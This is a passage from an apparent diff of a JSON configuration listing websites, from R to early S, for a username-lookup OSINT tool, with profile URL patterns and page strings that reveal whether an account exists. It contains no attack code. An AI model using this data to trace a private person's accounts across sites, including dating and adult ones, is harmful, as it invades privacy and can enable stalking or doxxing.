"disman3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RC-MIR": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z0-9-]+$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 1403768, + "urlMain": "http://rcmir.com/", + "url": "http://{username}.rcmir.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RPGGeek": { + "ignore403": true, + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 229543, + "urlMain": "https://rpggeek.com", + "url": "https://rpggeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RPGRussia": { + "disabled": true, + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 344379, + "urlMain": "https://rpgrussia.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RRForums": { + "tags": [ + "au", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Does Not Exist" + ], + "alexaRank": 2801221, + "urlMain": "http://au.rrforums.net/", + "url": "http://au.rrforums.net/cgi-bin/forum/board-profile.pl?action=view_profile&profile={username}-users", + "usernameClaimed": "guyslp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RUDTP": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 154537, + "urlMain": "https://forum.rudtp.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radio-uchebnik": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 409242, + "urlMain": "http://radio-uchebnik.ru", + "url": "http://radio-uchebnik.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sasha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiokot": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 78504, + "urlMain": "https://www.radiokot.ru", + "url": "https://www.radiokot.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiomed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 280960, + "urlMain": "https://radiomed.ru", + "url": "https://radiomed.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radioscanner": { + "tags": [ + "ru" + ], + "errors": { + "\u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0440\u0430\u0437 \u0432 10 \u0441\u0435\u043a\u0443\u043d\u0434": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "alexaRank": 150570, + "urlMain": "http://www.radioscanner.ru", + "url": "http://www.radioscanner.ru/forum/index.php?posterName={username}&action=search&searchGo=1", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Raidforums": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 20059, + "urlMain": "https://raidforums.com/", + "url": "https://raidforums.com/User-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "cybercriminal", + "forum" + ] + }, + "Railfan": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist!" + ], + "alexaRank": 2741861, + "urlMain": "http://forums.railfan.net", + "url": "http://forums.railfan.net/forums.cgi?action=viewprofile;username={username}", + "usernameClaimed": "gpicyk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rajce.net": { + "tags": [ + "cz" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1974, + "urlMain": "https://www.rajce.idnes.cz/", + "url": "https://{username}.rajce.idnes.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RamblerDating": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "response_url", + "urlMain": "https://dating.rambler.ru/", + "url": "https://dating.rambler.ru/page/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 391 + }, + "Rammclan": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.rammclan.ru", + "usernameClaimed": "mathiassk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ramta": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3836863, + "urlMain": "http://ramta.0pk.ru", + "url": "http://ramta.0pk.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "zulus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Rap-royalty": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "music", + "us" + ], + "errors": { + "500 Error. Internal Server Error.": "Site error", + "Access Denied!": "Site error" + }, + "engine": "vBulletin", + "alexaRank": 7096327, + "urlMain": "http://www.rap-royalty.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rapforce": { + "tags": [ + "fr", + "ru" + ], + "engine": "uCoz", + "alexaRank": 118933, + "urlMain": "http://www.rapforce.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rappad": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 66724, + "urlMain": "https://www.rappad.co", + "url": "https://www.rappad.co/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasa": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 70980, + "urlMain": "https://forum.rasa.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasslabyxa": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7235127, + "urlMain": "http://www.rasslabyxa.ru", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rate Your Music": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 8696, + "urlMain": "https://rateyourmusic.com/", + "url": "https://rateyourmusic.com/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rcforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195871, + "urlMain": "http://www.rcforum.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RcloneForum": { + "checkType": "status_code", + "url": "https://forum.rclone.org/u/{username}", + "usernameClaimed": "ncw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Realmeye": { + "tags": [ + "gaming" + ], + "regexCheck": "^[a-zA-Z]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, but we either:" + ], + "alexaRank": 63145, + "urlMain": "https://www.realmeye.com/", + "url": "https://www.realmeye.com/player/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redbubble": { + "tags": [ + "shopping", + "us" + ], + "checkType": "status_code", + "alexaRank": 925, + "urlMain": "https://www.redbubble.com/", + "url": "https://www.redbubble.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Redcafe": { + "tags": [ + "forum", + "gb", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 98399, + "urlMain": "https://www.redcafe.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reddit": { + "tags": [ + "discussion", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, nobody on Reddit goes by that name." + ], + "presenseStrs": [ + "Post karma" + ], + "alexaRank": 19, + "urlMain": "https://www.reddit.com/", + "url": "https://www.reddit.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redorchestra": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6984586, + "urlMain": "http://www.redorchestra.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redtube": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 1090, + "urlMain": "https://ru.redtube.com/", + "url": "https://ru.redtube.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reibert": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 136697, + "urlMain": "https://reibert.info/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reincarnationforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3388631, + "urlMain": "http://reincarnationforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reisefrage": { + "checkType": "status_code", + "url": "https://www.reisefrage.net/nutzer/{username}", + "usernameClaimed": "reisefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReligiousForums": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 930728, + "urlMain": "https://www.religiousforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RenaultFanClub": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "engine": "vBulletin", + "alexaRank": 410980, + "urlMain": "http://www.renaultfanclub.com", + "usernameClaimed": "mashar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Repl.it": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 7808, + "urlMain": "https://repl.it/", + "url": "https://repl.it/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ResearchGate": { + "tags": [ + "in", + "us" + ], + "regexCheck": "\\w+_\\w+", + "checkType": "response_url", + "alexaRank": 143, + "urlMain": "https://www.researchgate.net/", + "url": "https://www.researchgate.net/profile/{username}", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "usernameClaimed": "John_Smith", + "usernameUnclaimed": "noonewould_everusethis7" + }, + "ResidentAdvisor": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "You need to be logged in to view the profile" + ], + "absenceStrs": [ + "Forgot your password?" + ], + "alexaRank": 167880, + "urlMain": "https://www.residentadvisor.net", + "url": "https://www.residentadvisor.net/profile/{username}", + "usernameClaimed": "uncle_ohm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Revelation": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://rev.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReverbNation": { + "tags": [ + "us" + ], + "errors": { + "But your computer or network appears to be generating a lot of automated requests": "Too many requests" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, we couldn't find that page" + ], + "alexaRank": 7637, + "urlMain": "https://www.reverbnation.com/", + "url": "https://www.reverbnation.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Riftgame": { + "tags": [ + "cr", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 117470, + "urlMain": "http://forums.riftgame.com", + "url": "http://forums.riftgame.com/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rigcz.club": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@rigcz.club" + ], + "url": "https://rigcz.club/@{username}", + "usernameClaimed": "blazej", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rlocman": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.rlocman.ru", + "usernameClaimed": "elnat", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 147676 + }, + "Rmmedia": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 123397, + "urlMain": "https://rmmedia.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rngf": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.rngf.ru/", + "url": "http://www.rngf.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7103394 + }, + "Ro-ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 445437, + "urlMain": "https://ro-ru.ru", + "url": "https://ro-ru.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "set", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roblox": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page cannot be found or no longer exists" + ], + "alexaRank": 115, + "urlMain": "https://www.roblox.com/", + "url": "https://www.roblox.com/user.aspx?username={username}", + "usernameClaimed": "bluewolfekiller", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roboforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1401231, + "urlMain": "http://roboforum.ru", + "url": "http://roboforum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sned", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rodgersforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://rodgersforum.borda.ru", + "url": "https://rodgersforum.borda.ru/?32-{username}", + "usernameClaimed": "hata1979", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rollitup": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 59573, + "urlMain": "https://www.rollitup.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RomanticCollection": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 72982, + "urlMain": "https://www.romanticcollection.ru", + "url": "https://www.romanticcollection.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Prim@", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Root-me": { + "tags": [ + "hacking", + "in", + "ir", + "pk", + "us" + ], + "errors": { + "429 Too Many Requests": "Too many requests" + }, + "checkType": "status_code", + "presenseStrs": [ + "Mes informations" + ], + "alexaRank": 236183, + "urlMain": "https://www.root-me.org", + "url": "https://www.root-me.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rottentomatoes": { + "tags": [ + "movies", + "us" + ], + "checkType": "status_code", + "alexaRank": 602, + "urlMain": "https://www.rottentomatoes.com", + "url": "https://www.rottentomatoes.com/critic/{username}/movies", + "usernameClaimed": "ben-allen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rovlpj": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8416642, + "urlMain": "https://rovlpj.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RoyalCams": { + "tags": [ + "gr", + "in", + "ng", + "ru", + "us", + "webcam" + ], + "checkType": "status_code", + "alexaRank": 134095, + "urlMain": "https://royalcams.com", + "url": "https://royalcams.com/profile/{username}", + "usernameClaimed": "asuna-black", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Rpgwatch": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "ca", + "forum", + "in", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 313871, + "urlMain": "https://www.rpgwatch.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ru-sfera": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "https://ru-sfera.org", + "url": "https://ru-sfera.org/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby.dating": { + "checkType": "message", + "absenceStrs": [ + "We can\u2019t find that user" + ], + "presenseStrs": [ + "Looks for:" + ], + "url": "https://ruby.dating/en/users/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby-forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 101041, + "urlMain": "https://www.ruby-forum.com", + "usernameClaimed": "tomconnolly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RubyGems": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 42509, + "urlMain": "https://rubygems.org/", + "url": "https://rubygems.org/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rugby-forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7939583, + "urlMain": "http://rugby-forum.ru", + "url": "http://rugby-forum.ru/polzovateli/{username}/", + "usernameClaimed": "bold", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumblechannel": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/c/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/c/{username}", + "usernameClaimed": "HodgeTwins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumbleuser": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/user/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/user/{username}", + "usernameClaimed": "SimonParkes", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runescape": { + "checkType": "message", + "presenseStrs": [ + "activities" + ], + "absenceStrs": [ + "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}" + ], + "url": "https://apps.runescape.com/runemetrics/profile/profile?user={username}", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runitonce": { + "tags": [ + "ca", + "us" + ], + "checkType": "response_url", + "alexaRank": 223505, + "urlMain": "https://www.runitonce.com/", + "url": "https://www.runitonce.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runnersworld": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 562069, + "urlMain": "https://forums.runnersworld.co.uk/", + "url": "https://forums.runnersworld.co.uk/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusarmy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 311365, + "urlMain": "http://www.rusarmy.com", + "url": "http://www.rusarmy.com/forum/members/?username={username}", + "usernameClaimed": "vtsp1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusfishing": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 85070, + "urlMain": "https://www.rusfishing.ru", + "url": "https://www.rusfishing.ru/forum/members/?username={username}", + "usernameClaimed": "ale8443", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusforum": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "ua" + ], + "disabled": true, + "engine": "vBulletin", + "alexaRank": 491084, + "urlMain": "https://www.rusforum.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RussianFI": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 213923, + "urlMain": "http://www.russian.fi/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rust-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 29188, + "urlMain": "https://users.rust-lang.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rutracker": { + "tags": [ + "ru", + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 495, + "urlMain": "https://rutracker.org/", + "mirrors": [ + "https://rutracker.org/", + "http://37.1.216.121/" + ], + "url": "{urlMain}forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "S-forum": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name" + ], + "alexaRank": 674575, + "urlMain": "https://s-forum.biz", + "url": "https://s-forum.biz/members/?username={username}", + "usernameClaimed": "ducat", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "SakhalinName": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "reputation_graf", + "\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "absenceStrs": [ + "afisha_list" + ], + "alexaRank": 861080, + "urlMain": "https://sakhalin.name/", + "url": "https://sakhalin.name/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Salon24.pl": { + "checkType": "message", + "presenseStrs": [ + "Strona g\u0142\u00f3wna" + ], + "absenceStrs": [ + "Salon24 - blogi, newsy, opinie i komentarze" + ], + "url": "https://www.salon24.pl/u/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Samlib": { + "tags": [ + "gb", + "ru", + "writing" + ], + "checkType": "status_code", + "alexaRank": 25741, + "urlMain": "http://samlib.ru/", + "url": "http://samlib.ru/e/{username}", + "caseSentitive": true, + "usernameClaimed": "e_melokumow", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Saracartershow": { + "checkType": "message", + "absenceStrs": [ + "Home |" + ], + "presenseStrs": [ + "Stories By" + ], + "url": "https://saraacarter.com/author/{username}/", + "usernameClaimed": "annaliese", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SatsisInfo": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 476954, + "urlMain": "https://satsis.info/", + "url": "https://satsis.info/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sbazar.cz": { + "tags": [ + "cz", + "shopping" + ], + "checkType": "status_code", + "alexaRank": 19898, + "urlMain": "https://www.sbazar.cz/", + "url": "https://www.sbazar.cz/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sbnation": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 2321, + "urlMain": "https://www.sbnation.com", + "url": "https://www.sbnation.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scala-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 51889, + "urlMain": "https://users.scala-lang.org", + "usernameClaimed": "sjrd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Schlock": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 115065, + "urlMain": "https://schlock.ru/", + "url": "https://schlock.ru/author/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "School-school": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 585798, + "urlMain": "https://school-school.ru", + "url": "https://school-school.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scorcher": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 7639, + "urlMain": "https://www.glavbukh.ru", + "url": "https://www.glavbukh.ru/forum/member.php/?username={username}", + "usernameClaimed": "poli888", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scoutwiki": { + "checkType": "message", + "absenceStrs": [ + "is not registered" + ], + "presenseStrs": [ + "NewPP limit report" + ], + "url": "https://en.scoutwiki.org/User:{username}", + "usernameClaimed": "Benjism89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scratch": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 541, + "urlMain": "https://scratch.mit.edu/", + "url": "https://scratch.mit.edu/users/{username}", + "usernameClaimed": "griffpatch", + "usernameUnclaimed": "noonewould" + }, + "Screwfix": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 8593, + "urlMain": "https://community.screwfix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scribd": { + "tags": [ + "reading" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "errors": { + "This page is 